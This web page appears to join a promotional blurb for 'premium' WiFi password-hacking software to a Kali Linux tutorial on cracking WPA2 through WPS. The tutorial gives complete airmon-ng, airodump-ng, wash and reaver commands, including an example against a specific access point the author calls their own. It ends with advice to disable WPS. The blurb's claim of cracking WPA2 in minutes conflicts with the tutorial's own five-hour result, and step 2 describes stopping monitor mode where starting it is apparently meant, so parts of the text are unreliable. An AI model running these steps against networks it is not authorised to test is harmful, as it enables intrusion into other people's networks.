Our premium and advanced software firstly scans all the WiFi networks that are available in your area and establishes the contact with each one. Then, after it receives a certain amount of packages and it has enough data to work with, it utilizes advanced decryption and WiFi password hack process.
It can take up to 3-5 minutes to decrypt some networks if they are using the newer and stronger encryptions like WPA2, but usually it retrieves the password in under 2 minutes. Time depends also on how complex the password is, whether is just lowercase letters or is a mixture of lowercase and uppercase, and if there are special characters and numbers.

1. Open our terminal (CTRL+ALT+T) and type airmon-ng (view tips and tricks how to create keyboard shortcut on kali linux)

this command will lists our wireless card that attached with our system.
2. The next step we need to stop our wireless monitor mode by running airmon-ng stop wlan0

3. Now we ready to capture the wireless traffic around us. By running airodump-ng wlan0 our wireless interface will start capturing the data.

From the picture above, we can see many available access point with all the information. In the green box is our victim access point which is my own access point
BSSID (Basic Service Set Identification): the MAC address of access point
PWR: Signal level reported by the card.
Beacons: Number of announcements packets sent by the AP
#Data: Number of captured data packets (if WEP, unique IV count), including data broadcast packets.
#/s: Number of data packets per second measure over the last 10 seconds.
CH: Channel number (taken from beacon packets).
MB: Maximum speed supported by the AP. If MB = 11, it’s 802.11b, if MB = 22 it’s 802.11b+ and higher rates are 802.11g.
ENC: Encryption algorithm in use.
CIPHER: The cipher detected. TKIP is typically used with WPA and CCMP is typically used with WPA2.
AUTH: The authentication protocol used.
ESSID: Shows the wireless network name. The so-called “SSID”, which can be empty if SSID hiding is activated.
4. From the step 3 above, we can find access point with encryption algorithm WPA2 and note the AP channel number. Now we will find out whether target AP has WPS enabled or not.
wash -i wlan0 -c 8 -C -s

if the WPS Locked status is No, then we ready to crack and move to step 5.
5. The last step is cracking the WPA2 password using reaver.
reaver -i <your_interface> -b <wi-fi victim MAC address> –fail-wait=360
Because we already get the information from step 3 above, so my command look like this:
reaver -i wlan0 -b E0:05:C5:5A:26:94 –fail-wait=360

it took about 5 hours to crack 19 characters WPA2 password ( from my Kali virtualBox, but it depend with our hardware and wireless card.
1. WPA and WPA2 security implemented without using the Wi-Fi Protected Setup (WPS) feature are unaffected by the security vulnerability.
2. To prevent this attack, just turn off our WPS/QSS feature on our access point. See picture below (I only have the Chinese version )
